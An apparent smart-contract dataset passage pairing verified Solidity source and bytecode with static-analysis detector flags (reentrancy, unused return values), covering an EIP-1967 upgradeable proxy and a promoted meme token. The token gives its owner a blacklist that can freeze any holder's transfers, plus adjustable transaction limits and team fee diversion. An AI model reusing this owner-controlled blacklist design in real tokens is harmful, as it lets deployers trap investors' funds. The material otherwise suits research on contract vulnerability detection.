ffffffffffffffffffff1614151561095f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561099b57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a3b57600080fd5b80600760006101000a81548160ff02191690831515021790555050565b600080821480610ae457506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610aef57600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610c3382600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102a90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cc882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461104390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610e4e83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461104390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ee383600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102a90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f39838261102a90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600082821115151561103857fe5b818303905092915050565b600080828401905083811015151561105757fe5b80915050929150505600a165627a7a72305820897b7e49ea0eca737c28f33e162d9cf0fc3fcd3cb1167d96bf8cc197d39207700029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,177 |
0x1d45a6454484f2fd2c01fd803b9fa65f85a31afe | /**
*Submitted for verification at Etherscan.io on 2021-04-29
*/
/**
*Submitted for verification at Etherscan.io on 2021-04-10
*/
/**
*Submitted for verification at BscScan.com on 2021-03-08
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212206661f190da7bb2cb2dc6c1b9d8f8a69b6023dfda77cfcd761e2512ce3e91d5d264736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,178 |
0x9ab0C1e553232F6E40fefE2Db827B1Cae48b09b1 | // RichMessiahInu ($RICHMESSIAH)
//To The Moon!
//Telegram: https://t.me/richmessiahinu
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RichMessiahInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Rich Messiah Inu - t.me/richmessiahinu";
string private constant _symbol = "RICHMESSIAH";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
| 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102be578063a9059cbb146102f2578063c3c8cd8014610312578063d543dbeb14610327578063dd62ed3e1461034757600080fd5b80636fc3eaec1461024c57806370a0823114610261578063715018a6146102815780638da5cb5b1461029657600080fd5b806323b872dd116100dc57806323b872dd146101bb578063293230b8146101db578063313ce567146101f05780635932ead11461020c5780636b9990531461022c57600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461016557806318160ddd1461019557600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118b7565b61038d565b005b34801561014657600080fd5b5061014f61043a565b60405161015c91906119fb565b60405180910390f35b34801561017157600080fd5b5061018561018036600461188c565b61045a565b604051901515815260200161015c565b3480156101a157600080fd5b50683635c9adc5dea000005b60405190815260200161015c565b3480156101c757600080fd5b506101856101d636600461184c565b610471565b3480156101e757600080fd5b506101386104da565b3480156101fc57600080fd5b506040516009815260200161015c565b34801561021857600080fd5b5061013861022736600461197e565b61089d565b34801561023857600080fd5b506101386102473660046117dc565b6108e5565b34801561025857600080fd5b50610138610930565b34801561026d57600080fd5b506101ad61027c3660046117dc565b61095d565b34801561028d57600080fd5b5061013861097f565b3480156102a257600080fd5b506000546040516001600160a01b03909116815260200161015c565b3480156102ca57600080fd5b5060408051808201909152600b81526a0a49286909a8aa6a69282960ab1b602082015261014f565b3480156102fe57600080fd5b5061018561030d36600461188c565b6109f3565b34801561031e57600080fd5b50610138610a00565b34801561033357600080fd5b506101386103423660046119b6565b610a36565b34801561035357600080fd5b506101ad610362366004611814565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103c05760405162461bcd60e51b81526004016103b790611a4e565b60405180910390fd5b60005b8151811015610436576001600a60008484815181106103f257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061042e81611b61565b9150506103c3565b5050565b6060604051806060016040528060268152602001611bf460269139905090565b6000610467338484610b09565b5060015b92915050565b600061047e848484610c2d565b6104d084336104cb85604051806060016040528060288152602001611bcc602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061103f565b610b09565b5060019392505050565b6000546001600160a01b031633146105045760405162461bcd60e51b81526004016103b790611a4e565b600f54600160a01b900460ff161561055e5760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103b7565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561059b3082683635c9adc5dea00000610b09565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105d457600080fd5b505afa1580156105e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060c91906117f8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561065457600080fd5b505afa158015610668573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068c91906117f8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106d457600080fd5b505af11580156106e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070c91906117f8565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061073c8161095d565b6000806107516000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107b457600080fd5b505af11580156107c8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107ed91906119ce565b5050600f80546722b1c8c1227a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561086557600080fd5b505af1158015610879573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610436919061199a565b6000546001600160a01b031633146108c75760405162461bcd60e51b81526004016103b790611a4e565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461090f5760405162461bcd60e51b81526004016103b790611a4e565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461095057600080fd5b4761095a81611079565b50565b6001600160a01b03811660009081526002602052604081205461046b906110fe565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016103b790611a4e565b600080546040516001600160a01b03909116907f8be0079c5